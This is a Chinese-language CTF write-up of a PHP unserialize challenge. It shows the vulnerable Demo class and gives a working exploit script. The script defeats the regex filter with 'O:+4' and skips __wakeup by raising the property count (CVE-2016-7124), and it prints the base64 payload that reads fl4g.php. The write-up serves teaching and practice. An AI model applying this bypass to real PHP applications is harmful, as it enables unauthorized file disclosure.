源码:
1 <?php 2 class Demo { 3 private $file = 'index.php'; 4 public function __construct($file) { 5 $this->file = $file; 6 } 7 function __destruct() { 8 echo @highlight_file($this->file, true); 9 } 10 function __wakeup() { 11 if ($this->file != 'index.php') { 12 //the secret is in the fl4g.php 13 $this->file = 'index.php'; 14 } 15 } 16 } 17 if (isset($_GET['var'])) { 18 $var = base64_decode($_GET['var']); 19 if (preg_match('/[oc]:d+:/i', $var)) { 20 die('stop hacking!'); 21 } else { 22 @unserialize($var); 23 } 24 } else { 25 highlight_file("index.php"); 26 } 27 ?>
<?php class Demo { private $file ='fl4g.php'; } $s = new Demo(); $a=serialize($s); $a= str_replace('O:4', 'O:+4',$a);//绕过preg_match //O:+4:"Demo":1:{s:10:"Demofile";s:8:"flag.php";} $a= str_replace(':1:', ':2:',$a);//绕过wakeup $a=base64_encode($a); print_r($a);//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== ?>
用+4替换成4是为了绕过preg_match的正则表达式
preg_match('/[oc]:d+:/i', $var) //[oc] 表示正则表达式,d+代表任意数字
preg_match用法:
查找文本字符串"php": <?php //模式分隔符后的"i"标记这是一个大小写不敏感的搜索 if (preg_match("/php/i", "PHP is the web scripting language of choice.")) { echo "查找到匹配的字符串 php。"; } else { echo "未发现匹配的字符串 php。"; } ?>
同样的把2替换成1是利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
最后按照题目的意思encode一下base64就获取反序列化的结果,get传参即可
参考:https://www.cnblogs.com/gaonuoqi/p/11896281.html
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $A = new Demo('fl4g.php'); $b = serialize($A); //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}" $b = str_replace('O:4', 'O:+4',$b);//绕过preg_match $b = str_replace(':1:', ':2:',$b);//绕过wakeup //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}" echo (base64_encode($b)); //TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== ?>